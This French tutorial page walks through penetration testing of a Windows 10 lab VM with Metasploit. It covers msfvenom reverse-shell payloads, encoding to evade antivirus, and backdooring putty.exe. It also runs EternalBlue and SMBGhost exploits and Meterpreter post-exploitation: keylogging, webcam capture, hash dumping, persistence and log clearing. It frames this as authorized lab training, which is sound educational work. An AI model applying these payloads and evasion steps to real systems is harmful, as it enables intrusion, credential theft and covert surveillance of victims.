Skip to content

Tests de Pénétration avec Metasploit Framework

🎯 Tests de Pénétration avec Metasploit Framework

Section titled “🎯 Tests de Pénétration avec Metasploit Framework”

Temps nécessaire : 2-3 heures
Niveau : Intermédiaire

À la fin de ce guide, vous saurez :

  • Créer des payloads avec Msfvenom
  • Configurer des listeners Metasploit
  • Exploiter des vulnérabilités SMB (EternalBlue, SMBGhost)
  • Gérer des sessions Meterpreter pour la post-exploitation
  • Diagnostiquer et résoudre les problèmes courants
  • Kali Linux (machine virtuelle ou physique) - 20 GB espace disque
  • Windows 10 en machine virtuelle - 40 GB espace disque
  • VirtualBox ou VMware pour virtualisation
  • 8 GB RAM minimum (4 GB par VM)
  • Réseau configuré : Host-Only ou NAT Network
  • Bases de Linux et ligne de commande
  • Compréhension des réseaux TCP/IP
  • Notions de sécurité informatique
  • Utilisation de machines virtuelles
Terminal window
# Sur Kali Linux (généralement préinstallés)
sudo apt update
sudo apt install metasploit-framework nmap netcat-traditional -y

Metasploit Framework est une plateforme open-source de test d’intrusion qui permet aux professionnels de la sécurité de découvrir, exploiter et valider des vulnérabilités. C’est l’outil le plus utilisé au monde pour le pentesting.

Analogie simple : Imaginez Metasploit comme un couteau suisse de la cybersécurité - il contient tous les outils nécessaires pour tester la solidité d’un système, mais doit être utilisé de manière éthique et légale.

  • 2003 : Création par HD Moore
  • 2009 : Rachat par Rapid7
  • Aujourd’hui : Plus de 2000 exploits, utilisé par les pentesters du monde entier
ComposantDescription
msfconsoleInterface principale interactive
msfvenomGénérateur de payloads
ExploitsCode qui exploite une vulnérabilité
PayloadsCode exécuté après exploitation
MeterpreterShell avancé post-exploitation
DomaineApplication
Red TeamSimulation d’attaques réalistes
PentestAudit de sécurité d’entreprises
Bug BountyDécouverte de vulnérabilités
FormationApprentissage de la cybersécurité
R&D SécuritéDéveloppement de protections

1. Préparation de l’environnement virtuel

Section titled “1. Préparation de l’environnement virtuel”
Terminal window
# Vérifiez la version de Metasploit
msfconsole --version
# Mettez à jour Metasploit
sudo apt update
sudo apt install metasploit-framework -y
msfupdate

Dans VirtualBox :

  1. Fichier → Préférences → Réseau → NAT Networks
  2. Créez un nouveau réseau : 10.0.2.0/24
  3. Pour chaque VM : Configuration → Réseau → Mode d’accès réseau → Réseau NAT

Vérification :

Terminal window
# Sur Kali Linux
ip addr show
# Sur Windows (PowerShell)
ipconfig

3. Désactivation des protections (pour tests)

Section titled “3. Désactivation des protections (pour tests)”

Sur Windows 10 :

Terminal window
# Désactiver Windows Defender temporairement
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# Désactiver la protection en temps réel
Set-MpPreference -DisableRealtimeMonitoring $true

Sur Kali Linux :

Terminal window
# Désactiver le pare-feu si actif
sudo ufw disable
# Ou autoriser le port spécifique
sudo ufw allow 4444/tcp
Terminal window
# Depuis Kali, testez la connexion vers Windows
ping [IP_WINDOWS]
# Testez le port SMB
nmap -p 445 [IP_WINDOWS]

Msfvenom est l’outil de génération de payloads standalone de Metasploit. Il remplace les anciens outils msfpayload et msfencode.

Terminal window
msfvenom -p [PAYLOAD] LHOST=[IP_KALI] LPORT=[PORT] -f [FORMAT] -o [FICHIER]
Terminal window
# Exemple concret : Reverse TCP Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 \
LPORT=4444 \
-f exe \
-o payload_simple.exe
Terminal window
# Encodage pour éviter la détection basique
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 \
LPORT=4444 \
-e x86/shikata_ga_nai \
-i 10 \
-f exe \
-o payload_encoded.exe
TypeDescriptionUsage
reverse_tcpCible se connecte à l’attaquantContourne pare-feu sortant
bind_tcpAttaquant se connecte à la cibleNécessite port ouvert
reverse_httpsConnexion cryptée HTTPSDiscret dans trafic web
meterpreterShell avancéPost-exploitation complète
Terminal window
# Windows
-f exe # Exécutable standard
-f dll # Bibliothèque dynamique
-f msi # Installeur Windows
# Linux
-f elf # Exécutable Linux
# Scripts
-f python # Script Python
-f powershell # Script PowerShell
-f vbs # Visual Basic Script
# Web
-f aspx # Page ASP.NET
-f war # Application Java (Tomcat)

Le listener attend la connexion du payload exécuté sur la cible.

Terminal window
# Lancer Metasploit
msfconsole
# Configurer le handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.108 # IP de votre Kali
set LPORT 4444 # Port d'écoute
set ExitOnSession false # Ne pas fermer après une session
exploit -j # Lancer en arrière-plan (-j = job)

Configuration automatique avec fichier .rc

Section titled “Configuration automatique avec fichier .rc”
Terminal window
# Créer votre propre fichier handler.rc
cat > handler.rc << 'EOF'
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.108
set LPORT 4444
set ExitOnSession false
exploit -j
EOF
# Lancer avec le fichier
msfconsole -r handler.rc
Terminal window
# Lister les jobs actifs
msf > jobs
# Vérifier que le port écoute
netstat -tlnp | grep 4444

Scénario 1 : Exploitation avec Payload Manuel

Section titled “Scénario 1 : Exploitation avec Payload Manuel”

Étape 1 : Préparer le listener

Terminal window
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.108
set LPORT 4444
exploit -j

Étape 2 : Transférer le payload vers Windows

Terminal window
# Sur Kali, créer un serveur HTTP
cd /chemin/vers/payload
python3 -m http.server 8000
# Sur Windows, ouvrir un navigateur
# http://[IP_KALI]:8000
# Télécharger et exécuter le .exe

Étape 3 : Connexion établie

Terminal window
# Sur Kali, vous verrez :
[*] Sending stage (188998 bytes) to 192.168.1.107
[*] Meterpreter session 1 opened

Scénario 2 : Exploitation EternalBlue (MS17-010)

Section titled “Scénario 2 : Exploitation EternalBlue (MS17-010)”

Prérequis : Activer SMBv1 sur Windows

Terminal window
# Sur Windows 10 (PowerShell Admin)
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Restart-Computer

Exploitation depuis Kali :

Terminal window
# Scanner la vulnérabilité
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.107
run
# Si vulnérable, exploiter
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.107
set LHOST 192.168.1.108
set payload windows/x64/meterpreter/reverse_tcp
exploit

Scénario 3 : Exploitation SMBGhost (CVE-2020-0796)

Section titled “Scénario 3 : Exploitation SMBGhost (CVE-2020-0796)”

Vulnérabilité : Windows 10 v1903/1909 non patché

Terminal window
# Scanner la cible
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.107
run
# Exploiter SMBGhost
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS 192.168.1.107
set LHOST 192.168.1.108
set LPORT 5555
set DefangedMode false # Désactiver le mode sécurisé
exploit

Une fois la session obtenue, interagissez avec la cible :

Terminal window
# Lister les sessions
sessions -l
# Se connecter à la session 1
sessions -i 1
# Commandes de reconnaissance
meterpreter > sysinfo # Informations système
meterpreter > getuid # Utilisateur actuel
meterpreter > pwd # Répertoire actuel
meterpreter > ps # Liste des processus
# Commandes d'interaction
meterpreter > shell # Shell Windows classique
meterpreter > screenshot # Capture d'écran
meterpreter > webcam_snap # Photo webcam
meterpreter > keyscan_start # Démarrer le keylogger
meterpreter > keyscan_dump # Afficher les frappes enregistrées
# Gestion de fichiers
meterpreter > ls # Lister les fichiers
meterpreter > cd C:\\Users # Changer de répertoire
meterpreter > download fichier.txt # Télécharger un fichier
meterpreter > upload exploit.exe C:\\Temp # Uploader un fichier
# Élévation de privilèges
meterpreter > getsystem # Tenter SYSTEM
meterpreter > hashdump # Extraire les hash (admin requis)
# Persistence
meterpreter > run persistence -X # Créer une backdoor persistante
# Migration de processus (pour stabilité)
meterpreter > migrate [PID] # Migrer vers un processus légitime
CommandeDescriptionPrivilèges requis
sysinfoInformations systèmeUser
getuidUtilisateur actuelUser
shellShell WindowsUser
screenshotCapture d’écranUser
hashdumpHash des mots de passeAdmin
getsystemÉlévation SYSTEMAdmin
migrateChanger de processusVariable
clearevEffacer les logsAdmin

L’encodage modifie la signature du payload pour éviter la détection par les antivirus. Ce n’est pas du chiffrement, mais de l’obfuscation.

Terminal window
# Lister tous les encodeurs
msfvenom --list encoders
# Encodeurs populaires
x86/shikata_ga_nai # Polymorphique (change à chaque génération)
x86/call4_dword_xor # XOR simple
cmd/powershell_base64 # Base64 pour PowerShell
Terminal window
# Shikata Ga Nai avec 15 itérations
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-e x86/shikata_ga_nai -i 15 \
-f exe -o payload_shikata.exe
# Encodage avec plusieurs encodeurs successifs
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-e x86/call4_dword_xor -i 3 \
-f exe -o payload_multi.exe

Injection dans Binaire Légitime (Template)

Section titled “Injection dans Binaire Légitime (Template)”
Terminal window
# Injecter dans un exécutable légitime
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-x putty.exe \
-k \
-f exe -o putty_backdoor.exe
Terminal window
# Payload PowerShell (pas de fichier .exe sur disque)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-f psh -o payload.ps1
# Payload Python (multiplateforme)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-f raw -o payload.py
Terminal window
# Rechercher des payloads spécifiques
msfvenom --list payloads | grep windows
msfvenom --list payloads | grep meterpreter
msfvenom --list payloads | grep reverse
# Rechercher des formats
msfvenom --list formats

Symptôme : Windows affiche “Virus détecté” et bloque le fichier.

Solutions :

Terminal window
# Solution A : Désactiver Windows Defender (temporaire - tests seulement)
Set-MpPreference -DisableRealtimeMonitoring $true
# Solution B : Ajouter une exclusion pour le dossier
Add-MpPreference -ExclusionPath "C:\Users\[User]\Downloads"

2. Handler failed to bind (port déjà utilisé)

Section titled “2. Handler failed to bind (port déjà utilisé)”

Symptôme : Rex::BindFailed The address is already in use (0.0.0.0:4444)

Solution :

Terminal window
# Lister et tuer les anciens jobs
msf > jobs -l
msf > jobs -K
# Ou utiliser un autre port
msf > set LPORT 5555
# Vérifier quel processus utilise le port
netstat -tlnp | grep 4444
kill [PID]

Symptôme : Sur Windows, netstat montre SYN_SENT vers Kali.

Causes : Pare-feu Kali bloque le port entrant.

Solution :

Terminal window
# Vérifier le pare-feu
sudo ufw status
# Autoriser le port
sudo ufw allow 4444/tcp
# Ou avec iptables
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
# Désactiver complètement (temporaire)
sudo ufw disable

Symptôme : Permission denied lors de l’écriture de fichiers

Solution :

Terminal window
# Vérifier les permissions
ls -la /var/lib/metasploit/
# Corriger si nécessaire
sudo chown -R $(whoami) /var/lib/metasploit/

5. Exploit échoue “Failed to find the low stub” (SMBGhost)

Section titled “5. Exploit échoue “Failed to find the low stub” (SMBGhost)”

Symptôme : SMBGhost ne trouve pas le stub mémoire.

Causes :

  • Windows est patché (KB4551762)
  • Version incompatible

Solution :

Terminal window
# Vérifier si le patch est installé
Get-HotFix -Id KB4551762
# Si présent, essayez EternalBlue à la place
# Ou désinstallez le patch (non recommandé en production)
OutilDescriptionCommande
NmapScanner de ports/vulnérabilitésnmap -sV -p- [IP]
NetcatCommunication réseau brutenc -lvnp 4444
WiresharkAnalyse de trafic réseauInterface graphique
SearchsploitRecherche d’exploits offlinesearchsploit windows smb
  • HackTheBox - Machines virtuelles vulnérables
  • TryHackMe - Labs guidés pour débutants
  • PentesterLab - Exercices de pentesting web
  • VulnHub - VMs téléchargeables gratuitement
  • VMs isolées sur réseau privé (pas de connexion Internet)
  • Snapshots des VMs créés (pour restauration rapide)
  • Autorisation écrite obtenue (si non personnel)
  • Metasploit à jour (msfupdate)
  • Connectivité réseau vérifiée (ping entre VMs)
  • Listener configuré et actif
  • Payload généré avec bons paramètres (LHOST/LPORT)
  • Pare-feu désactivés sur les deux machines
  • Logs des commandes exécutées
  • Notes prises sur les vulnérabilités trouvées
  • Sessions Meterpreter fermées proprement
  • Payloads supprimés de la cible
  • Protections réactivées (antivirus, pare-feu)
  • Rapport de test rédigé
  • VMs restaurées aux snapshots propres
  1. Toujours documenter : Prenez des notes détaillées de chaque commande et résultat
  2. Tester en production miroir : Jamais directement sur le système de production
  3. Communiquer avec le client : Informez avant de lancer des exploits risqués
  4. Respecter le scope : Ne dépassez pas les limites définies dans le contrat
  5. Sécuriser vos outils : Chiffrez vos disques durs contenant des exploits
Terminal window
# Générer rapidement plusieurs payloads avec différents ports
for port in 4444 5555 6666; do
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=$port \
-f exe -o payload_$port.exe
done
# Créer un payload avec timestamp dans le nom
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.108 LPORT=4444 \
-f exe -o payload_$(date +%Y%m%d_%H%M%S).exe
Terminal window
# Migrer vers un processus stable (évite déconnexion)
meterpreter > ps | grep explorer.exe
meterpreter > migrate [PID_explorer]
# Activer l'auto-migration
meterpreter > run post/windows/manage/migrate
# Dump automatique de tous les hash
meterpreter > run post/windows/gather/hashdump
Terminal window
# Lister toutes les sessions
sessions -l
# Exécuter une commande sur toutes les sessions
sessions -c "sysinfo"
# Interagir avec plusieurs sessions via scripts
sessions -s script.rc
  1. Générer des payloads avec Msfvenom (simple et encodé)
  2. Configurer des listeners Metasploit pour recevoir les connexions
  3. Exploiter des vulnérabilités SMB (EternalBlue, SMBGhost)
  4. Utiliser Meterpreter pour la post-exploitation complète
  5. Diagnostiquer les erreurs courantes (pare-feu, ports, permissions)
  6. Techniques d’encodage pour améliorer la furtivité
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ Msfvenom │────────>│ Payload │────────>│ Victime │
│ Générateur │ │ (reverse) │ │ Exécute │
└─────────────┘ └──────────────┘ └─────────────┘
│ Connexion
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ Meterpreter │<────────│ Handler │<────────│ Payload │
│ Shell │ │ (Écoute) │ │ Actif │
└─────────────┘ └──────────────┘ └─────────────┘
Terminal window
# Génération
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o payload.exe
# Écoute
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
exploit
# Post-exploitation
sessions -i 1
sysinfo
shell


À propos de l'auteur

Riyad ODJOUADEExpert en cybersécurité & infrastructure

Je partage des guides techniques pratiques sur la cybersécurité, l'administration système et le développement web. Tous les contenus sont basés sur des expérimentations réelles.